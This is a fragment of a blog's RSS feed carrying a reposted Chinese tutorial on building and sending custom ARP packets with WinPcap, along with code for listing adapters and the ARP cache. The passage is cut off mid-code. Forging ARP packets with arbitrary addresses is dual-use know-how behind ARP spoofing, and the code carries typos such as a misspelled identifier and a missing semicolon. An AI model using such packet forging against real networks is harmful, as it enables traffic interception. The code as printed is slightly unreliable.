				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">^_^<o:p></o:p></span>
		</p>
		<div style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 1pt; MARGIN-LEFT: 17.95pt; BORDER-LEFT: medium none; MARGIN-RIGHT: 0cm; PADDING-TOP: 0cm; BORDER-BOTTOM: windowtext 2.25pt double; mso-element: para-border-div">
				<p class="MsoNormal" style="BORDER-RIGHT: medium none; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; PADDING-LEFT: 0cm; PADDING-BOTTOM: 0cm; MARGIN: 0cm 0cm 0pt; BORDER-LEFT: medium none; TEXT-INDENT: 22.5pt; PADDING-TOP: 0cm; BORDER-BOTTOM: medium none; mso-char-indent-count: 2.5; mso-padding-alt: 0cm 0cm 1.0pt 0cm; mso-para-margin-left: 1.71gd; mso-border-bottom-alt: double windowtext 2.25pt">
						<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">具体的代码实现由于篇幅的关系我就不放在这里讲了，如果需要我就专门另写篇文章附上完整代码吧</span>
						<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
								<o:p>
								</o:p>
						</span>
				</p>
		</div>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 17.95pt; TEXT-INDENT: 22.5pt; mso-char-indent-count: 2.5; mso-para-margin-left: 1.71gd">
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">至此，我们的</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">ARP</span>
				<span style="FONT-SIZE: 9pt; COLOR: black; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">基础知识就讲完了，但愿您能从中有所收获</span>
				<span lang="EN" style="FONT-SIZE: 9pt; COLOR: black">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p> </o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">后记：</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt 18.05pt; TEXT-INDENT: 17.2pt; mso-char-indent-count: 1.91; mso-para-margin-left: 1.72gd">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'"> 因为本人开发都是使用</span>
				<span lang="EN" style="FONT-SIZE: 9pt">VC++.net 2003</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">，所以没有安装</span>
				<span lang="EN" style="FONT-SIZE: 9pt">.net</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">的朋友是打不开工程的，</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">可以试一下</span>
				<span lang="EN" style="FONT-SIZE: 9pt">vckbase</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">上的工程转换工具，本人没有试过，不保证有效</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt">
				<span lang="EN" style="FONT-SIZE: 9pt">
						<span style="mso-spacerun: yes">             </span>
						<a href="http://www.vckbase.com/tools/assist/prjconverter.rar">http://www.vckbase.com/tools/assist/prjconverter.rar</a>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">而且本文的代码使用了</span>
				<span lang="EN" style="FONT-SIZE: 9pt">winpcap</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">开发包，是要另外安装</span>
				<span lang="EN" style="FONT-SIZE: 9pt">ainpcap</span>
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">驱动。</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">读者可以安装我代码包里的驱动，不过它更新很快，可以到它主页上去下载最新版本</span>
				<span lang="EN" style="FONT-SIZE: 9pt">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt">        <a href="http://winpcap.polito.it/install/default.htm">http://winpcap.polito.it/install/default.htm</a></span>
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">
						<o:p>
						</o:p>
				</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">    不做开发的读者，只用下载并安装这个就可以了</span>
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">WinPcap auto-installer (driver +DLLs)<o:p></o:p></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span style="FONT-SIZE: 9pt; FONT-FAMILY: 宋体; mso-ascii-font-family: Verdana; mso-hansi-font-family: Verdana">   我的原文及源码下载地址稍后贴出，请关注本帖</span>
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">^_^</span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">    </span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">     <font color="#ff0000">源码下载地址，新鲜出炉，非常感谢 _foo 兄弟提供的空间</font></span>
		</p>
		<p class="MsoNormal" style="MARGIN: 0cm 0cm 0pt; TEXT-INDENT: 21.75pt">
				<span lang="EN" style="FONT-SIZE: 9pt; FONT-FAMILY: Verdana">
						<a href="http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar">
								<font color="#ff0000">http://iunknown.com.cn/csdn/network/ARPPlayer_By_PiggyXP.rar</font>
						</a>
						<o:p>
						</o:p>
				</span>
		</p>
<img src ="http://www.blogjava.net/yczz/aggbug/100057.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/yczz/" target="_blank">飞鸟</a> 2007-02-16 15:49 <a href="http://www.blogjava.net/yczz/articles/100057.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>（转）手把手教你玩转ARP包（三）【数据包的游戏系列之一】</title><link>http://www.blogjava.net/yczz/articles/100056.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Fri, 16 Feb 2007 07:45:00 GMT</pubDate><guid>http://www.blogjava.net/yczz/articles/100056.html</guid><wfw:comment>http://www.blogjava.net/yczz/comments/100056.html</wfw:comment><comments>http://www.blogjava.net/yczz/articles/100056.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/yczz/comments/commentRss/100056.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/yczz/services/trackbacks/100056.html</trackback:ping><description><![CDATA[
		<div class="postText">
				<div>
						<font face="宋体" color="#ff00ff" size="2">作者：</font>
				</div>
				<div>
						<font face="宋体">
								<font size="2">
										<font color="#0000ff">CSDN  VC/MFC 网络编程</font>
										<font color="#f70909">PiggyXP</font>  <font color="#0909f7">^_^</font></font>
						</font>
				</div>
				<div>
						<strong>
								<font face="宋体" color="#800080" size="2">
								</font>
						</strong> </div>
				<div>
						<font size="2">
								<font color="#ff00ff">
										<strong> </strong> 目录：</font>
						</font>
						<div>
								<font face="Times New Roman">
										<strong>
										</strong>
								</font>
						</div>
						<div>
								<font face="Times New Roman" color="#0000ff" size="2">二。发送数据包的编程实现</font>
						</div>
						<div>
								<font color="#0000ff" size="2">   1.  填充数据包</font>
						</div>
						<div>
								<font color="#0000ff" size="2">   2.  发送数据包</font>
						</div>
						<div>
								<font color="#0000ff" size="2">三。一些附加步骤及说明</font>
						</div>
						<div>
								<font color="#0000ff" size="2">   1.  如果在VC中使用winpcap</font>
						</div>
						<div>
								<font color="#0000ff" size="2">   2.  获得网卡信息列表</font>
						</div>
						<div>
								<font color="#0000ff" size="2">   3.  获得系统ARP信息列表</font>
						</div>
						<div>
								<font size="2">
								</font> </div>
						<div>
								<font color="#666699" size="2">         ................紧接上</font>
								<font color="#666699" size="2">文................</font>
						</div>
						<div>
								<font size="2">
								</font> </div>
						<div>
								<span lang="EN-US" style="FONT-SIZE: 9pt; COLOR: purple; mso-fareast-font-family: 'Times New Roman'">
										<span style="mso-list: Ignore">1.<span style="FONT: 7pt 'Times New Roman'">        </span></span>
								</span>
								<span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">填充数据包</span>
						</div>
						<div>
								<span style="FONT-SIZE: 9pt; COLOR: purple; FONT-FAMILY: 宋体; mso-ascii-font-family: 'Times New Roman'; mso-hansi-font-family: 'Times New Roman'">
								</span> </div>
						<div>
								<font size="2">下面我举个填充包头的例子，我首先定义个了一个转换字符的函数，如下</font>
						</div>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div align="left">
						<font color="#5ea25e" size="2">/****************************************************************************</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *   Name &amp; Params::</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *             formatStrToMAC</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *             (</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *                 const LPSTR lpHWAddrStr : 用户输入的MAC地址字符串</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *                 unsigned char *HWAddr :   返回的MAC地址字符串(赋给数据包结构体)</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *             )</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *   Purpose:</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> *             将用户输入的MAC地址字符转成数据包结构体需要的格式</font>
				</div>
				<div align="left">
						<font color="#5ea25e" size="2"> ****************************************************************************/</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">void formatStrToMAC(const LPSTR lpHWAddrStr, unsigned char *HWAddr)</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">{</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">       unsigned int i, index = 0, value, temp;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">      unsigned char c;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">
						</font> </div>
				<div align="left">
						<font color="#2248dd" size="2">      _strlwr(lpHWAddrStr);                                                   // 转换成小写</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">
						</font> </div>
				<div align="left">
						<font color="#2248dd" size="2">      for (i = 0; i &lt; strlen(lpHWAddrStr); i++)</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">     {</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">           c = *(lpHWAddrStr + i);</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">            if (( c&gt;='0' &amp;&amp; c&lt;='9' ) || ( c&gt;='a' &amp;&amp; c&lt;='f' ))</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">           {</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">               if (c&gt;='0' &amp;&amp; c&lt;='9')  temp = c - '0';                         // 数字</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">               if (c&gt;='a' &amp;&amp; c&lt;='f')  temp = c - 'a' + 0xa;               // 字母</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">               if ( (index % 2) == 1 )</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">              {</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">                   value = value*0x10 + temp;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">                   HWAddr[index/2] = value;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">              }</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">              else value = temp;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">              index++;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">         }</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">               if (index == 12) break;</font>
				</div>
				<div align="left">
						<font color="#2248dd" size="2">        }</font>
				</div>
				<div>
						<font color="#2248dd" size="2">}</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font color="#5ea279" size="2">// 开始填充各个字段</font>
				</div>
				<div>
						<font color="#1111ee" size="2">ARPPACKET ARPPacket;                                                  // 定义ARPPACKET结构体变量</font>
				</div>
				<div>
						<font color="#1111ee" size="2">
						</font> </div>
				<div>
						<font color="#1111ee" size="2">    memset(&amp;ARPPacket, 0, sizeof(ARPPACKET));                      // 数据包初始化</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">
						</font> </div>
				<div align="left">
						<font color="#1111ee" size="2">     formatStrToMAC(“DLC源MAC字符串”,ARPPacket.dlcHeader.SrcMAC);       // DLC帧头</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     formatStrToMAC(“DLC目的MAC字符串”,ARPPacket.dlcHeader.DesMAC);</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">
						</font> </div>
				<div align="left">
						<font color="#1111ee" size="2">     formatStrToMAC(“ARP源MAC字符串”,ARPPacket.arpFrame.Send_HW_Addr);  // 源MAC</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.Send_Prot_Addr = inet_addr(srcIP);              // 源IP</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     formatStrToMAC(“ARP目的MAC字符串”,ARPPacket.arpFrame.Targ_HW_Addr); // 目的MAC</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.Targ_Prot_Addr = inet_addr(desIP);               // 目的IP</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     </font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.Opcode = htons((unsigned short)arpType);        // arp包类型</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     </font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     // 自动填充的常量</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.dlcHeader.Ethertype = htons((unsigned short)0x0806); // DLC Header的以太网类型</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.HW_Type = htons((unsigned short)1);           // 硬件类型</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.Prot_Type = htons((unsigned short)0x0800);    // 上层协议类型</font>
				</div>
				<div align="left">
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.HW_Addr_Len = (unsigned char)6;                 // MAC地址长度</font>
				</div>
				<div>
						<font color="#1111ee" size="2">     ARPPacket.arpFrame.Prot_Addr_Len = (unsigned char)4;               // IP地址长度</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font size="2">That’s all ! ^_^</font>
				</div>
				<div>
						<font size="2">填充完毕之后，我们需要做的就是把我们的ARPPACKET结构体发送出去</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font size="2">2.发送ARP数据包：</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font size="2">我们发送ARP包就要用到winpcap的api了，具体步骤及函数是这样的，为了简单易懂，我把错误处理的地方都去掉了，详见代码</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">/**********************************************************************</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*    Name &amp; Params::</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*             SendARPPacket()</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*    Purpose:</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*             发送ARP数据包</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*    Remarks:</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">*             用的是winpcap的api函数</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">***********************************************************************/</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">void SendARPPacket()</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">{</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">     char *AdapterDeviceName =GetCurAdapterName();     // 首先获得获得网卡名字</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     lpAdapter = PacketOpenAdapter(AdapterDeviceName);     // 根据网卡名字打开网卡</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     lpPacket = PacketAllocatePacket();               // 给PACKET结构指针分配内存</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     PacketInitPacket(lpPacket, &amp;ARPPacket, sizeof(ARPPacket)); //初始化PACKET结构指针</font>
				</div>
				<div>
						<font color="#1a42e6" size="2">                                             // 其中的ARPPacket就是我们先前填充的ARP包</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     PacketSetNumWrites(lpAdapter, 1);               // 每次只发送一个包</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     PacketSendPacket(lpAdapter, lpPacket, true)       // Send !!!!! ^_^</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">
						</font> </div>
				<div align="left">
						<font color="#1a42e6" size="2">     PacketFreePacket(lpPacket);                     // 释放资源</font>
				</div>
				<div align="left">
						<font color="#1a42e6" size="2">     PacketCloseAdapter(lpAdapter);</font>
				</div>
				<div>
						<font color="#1a42e6" size="2">}</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font size="2">呵呵，至此，关于ARP包最关键的部分就讲完了，你现在就可以来随心所欲的发送自己的ARP包了</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font size="2">既然作为一篇“科普文章”，接下来我再讲一讲与整个项目有关的附加步骤以及说明</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div>
						<font color="#ff00ff" size="2">三．附加步骤以及说明</font>
				</div>
				<div>
						<font color="#bba344">
								<font size="2">
										<font face="Times New Roman">1. </font>如何在<font face="Times New Roman">VC</font>中使用<font face="Times New Roman">winpcap</font>驱动</font>
						</font>
				</div>
				<div>
						<font size="2">
								<font face="Times New Roman">       </font>虽然<font face="Times New Roman">winpcap</font>开发包使用起来非常简便，但是前期准备工作还是要费一番功夫的，缺一不可。<font face="Times New Roman">^_^</font></font>
				</div>
				<div>
						<font size="2">       首先就是要安装它的驱动程序了，可以到它的主页下载，更新很快的</font>
				</div>
				<div>     <a href="http://winpcap.polito.it/install/default.htm"><font face="Times New Roman" size="2">http://winpcap.polito.it/install/default.htm</font></a></div>
				<div>
						<font size="2">     下载WinPcap auto-installer (driver +DLLs)，直接安装就好了，或者我提供的代码包里面也有。</font>
				</div>
				<div>
						<font size="2">     希望以后用winpcap作开发的朋友，还需要下载 Developer's pack，解压即可。</font>
				</div>
				<div>
						<font size="2">     </font>
				</div>
				<div>
						<font size="2">        然后，需要设置我们工程的附加包含目录为我们下载Developer's pack开发包的<font face="Times New Roman">Inclulde</font>目录，连接器的附加依赖库设置为Developer's pack的lib目录。</font>
				</div>
				<div>
						<font size="2">       当然，因为我们的工作比较简单，就是借用<font face="Times New Roman">winpcap</font>发送数据包而已，所以只用从</font>
				</div>
				<div>
						<font size="2">
								<font face="Times New Roman">winpcap</font>开发包的<font face="Times New Roman">include</font>文件夹中，拷贝<font face="Times New Roman"><strong>Packet32.h</strong></font>，到我们的工程来，并且包含它就可</font>
				</div>
				<div>
						<font size="2">以，</font>
						<font size="2">但是要注意，<font face="Times New Roman">Packet32.h</font>本身还要包含一个<font face="Times New Roman"><strong>Devioctl.h</strong></font>，也要一并拷贝进来，当然还有运</font>
				</div>
				<div>
						<font size="2">行库<font face="Times New Roman"><strong>Packet.lib</strong></font>，一共就是需要拷贝<font face="Times New Roman">3</font>个文件了，如果加入库不用我多说了吧，在工程里面设</font>
				</div>
				<div>
						<font size="2">置，或者是在需要它的地方加入<font face="Times New Roman"></font>#pragma comment(lib, "Packet.lib")了。</font>
				</div>
				<div>
						<font face="Times New Roman" size="2">
						</font> </div>
				<div>
						<font size="2">
								<font face="Times New Roman">        </font>整个项目其实可以分为四个部分，<strong>填充数据包、发送数据包、枚举系统网卡列表</strong>和</font>
				</div>
				<div>
						<font size="2">相关信息以及<strong>枚举系统</strong><font face="Times New Roman"><strong>ARP</strong></font><strong>缓存列表</strong>，下面我再讲一下如何获得系统的网卡以及<font face="Times New Roman">ARP</font>列</font>
				</div>
				<div>
						<font size="2">表，这两个部分都要用到<font face="Times New Roman">IP Helper</font>的<font face="Times New Roman">api</font>，所以要包含&lt;Iphlpapi.h&gt;以及库文件Iphlpapi.lib，</font>
				</div>
				<div>
						<font size="2">其实都是很简单的，只用寥寥几行就OK了</font>
				</div>
				<div>
						<font color="#f709c7">
								<font size="2">
										<font face="Times New Roman">2.     </font>枚举系统网卡以及信息</font>
						</font>
				</div>
				<div>
						<font size="2">最好是先定义关于网卡信息的一个结构体，这样显得结构比较清晰</font>
				</div>
				<div align="left">
						<font color="#4db34d" size="2">// 网卡信息</font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">typedef struct tagAdapterInfo          </font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">{</font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">              char szDeviceName[128];           // 名字</font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">              char szIPAddrStr[16];             // IP</font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">              char szHWAddrStr[18];             // MAC</font>
				</div>
				<div align="left">
						<font color="#2b2bd5" size="2">              DWORD dwIndex;                    // 编号          </font>
				</div>
				<div>
						<font color="#2b2bd5" size="2">}INFO_ADAPTER, *PINFO_ADAPTER;</font>
				</div>
				<div>
						<font size="2">
						</font> </div>
				<div align="left">
						<font color="#55aa77" size="2">/*********************************************************************</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*    Name &amp; Params::</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*             AddAdapInfoToList</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*             (</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*                  CListCtrl&amp; list :  CARPPlayerDlg传入的list句柄</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*             )</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*    Purpose:</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*             获得系统的网卡信息，并将其添加到list控件中</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*    Remarks:</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">*             获得网卡IP及MAC用到了IpHelper api GetAdaptersInfo</font>
				</div>
				<div align="left">
						<font color="#55aa77" size="2">******************************************************************/</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">void AddAdapInfoToList(CListCtrl&amp; list)</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">{</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     char tempChar;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     ULONG uListSize=1;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     PIP_ADAPTER_INFO pAdapter;           // 定义PIP_ADAPTER_INFO结构存储网卡信息</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     int nAdapterIndex = 0;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">
						</font> </div>
				<div align="left">
						<font color="#5233cc" size="2">     DWORD dwRet = GetAdaptersInfo((PIP_ADAPTER_INFO)&amp;tempChar, &amp;uListSize);//关键函数</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">
						</font> </div>
				<div align="left">
						<font color="#5233cc" size="2">     if (dwRet == ERROR_BUFFER_OVERFLOW)</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     {</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">  PIP_ADAPTER_INFO pAdapterListBuffer = (PIP_ADAPTER_INFO)new(char[uListSize]);</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">  dwRet = GetAdaptersInfo(pAdapterListBuffer, &amp;uListSize);</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">  if (dwRet == ERROR_SUCCESS)</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">  {</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     pAdapter = pAdapterListBuffer;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     while (pAdapter)                                              // 枚举网卡然后将相关条目添加到List中</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     {</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">        // 网卡名字</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          CString strTemp = pAdapter-&gt;AdapterName;                     </font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          strTemp = "\\Device\\NPF_" + strTemp;                        // 加上前缀 </font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          list.InsertItem(nAdapterIndex,strTemp);                  </font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          strcpy(AdapterList[nAdapterIndex].szDeviceName,strTemp);</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          // IP</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          strcpy(AdapterList[nAdapterIndex].szIPAddrStr,</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">                                                 pAdapter-&gt;IpAddressList.IpAddress.String );</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          list.SetItemText(nAdapterIndex,1,AdapterList[nAdapterIndex].szIPAddrStr);</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          // MAC</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          formatMACToStr( AdapterList[nAdapterIndex].szHWAddrStr, pAdapter-&gt;Address );</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          list.SetItemText(nAdapterIndex,2,AdapterLis[nAdapterIndex].szHWAddrStr);</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          // 网卡编号</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          AdapterList[nAdapterIndex].dwIndex = pAdapter-&gt;Index;          </font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">
						</font> </div>
				<div align="left">
						<font color="#5233cc" size="2">          pAdapter = pAdapter-&gt;Next;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          nAdapterIndex ++;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">          }</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     delete pAdapterListBuffer;</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">     }</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">}</font>
				</div>
				<div align="left">
						<font color="#5233cc" size="2">}</font>
				</div>
				<div align="left">
						<font size="2">
						</font> </div>
				<div align="left">
						<div align="left">
								<font color="#e61ae6" size="2">2)获取ARP条目列表</font>
						</div>
						<div align="left">
								<font color="#5ea26b" size="2">// ARP条目信息</font>
						</div>
						<div align="left">
								<font color="#5233cc" size="2">typedef struct tagARPInfo             </font>
						</div>
						<div align="left">
								<font color="#5233cc" size="2">{</font>
						</div>
						<div align="left">
								<font color="#5233cc" size="2">     char szIPAddrStr[16];              // IP </font>
						</div>
						<div align="left">
								<font color="#5233cc" size="2">     char szHWAddrStr[18];             // MAC</font>
						</div>
						<div align="left">
